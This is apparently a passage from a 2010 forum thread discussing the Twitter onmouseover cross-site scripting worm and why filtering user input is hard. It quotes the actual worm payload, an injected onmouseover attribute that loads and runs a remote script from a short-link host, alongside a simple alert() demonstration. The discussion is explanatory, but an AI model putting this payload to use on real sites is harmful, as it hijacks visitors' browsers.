Hover over <a onmouseover="alert('hello')">this</a>Now, consider the most primitive form of a twitter-like service that ever existed, in pseudocode: Step 1: Ask user for thier tweet. Step 2: Print out tweet on website. If I entered the above code for my tweet and the primitive twitter-like service printed it out on their website, then suddenly the twitter site contains instructions for the user's browser to display a popup message when the user hovered over the word. The primitive twitter-like service had nothing to do with executing script or anything like that, it just took some user input and repeated it on their site. That's the problem in a nutshell -- if you take user input you have to filter it to remove the bad things, because otherwise users can make your site say things you don't want it to say. And doing that filtering is hard. A lot of sites take the approach of not even letting users input anything that resembles a HTML tag -- the < gets escaped immediately so that it means less-than-sign and not the beginning of a html tag. They then re-invent all the HTML tags over again using some other syntax, like [b]bold[/b]. That way, anything resembling HTML gets escaped and you don't have to worry about letting some of it through and not letting other parts of it through.
http://t.co/@"style="font-size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')"class/
the URL sanitiser chokes on the @ and misses the second http:\\ due to the unicode backslashes, and Twitter posts web pages with huge bits of text which, on mouseover, use jQuery to download and run a script.We discovered and patched this issue last month. However, a recent site update (unrelated to new Twitter) unknowingly resurfaced it."The way I see it, that's worse than having an unpatched XSS vulnerability.
« Older Music Hack Day heads back to Boston October 16 and... | What does four weeks, 124 take... Newer »
This thread has been archived and is closed to new comments
posted by acheekymonkey at 10:19 AM on September 21, 2010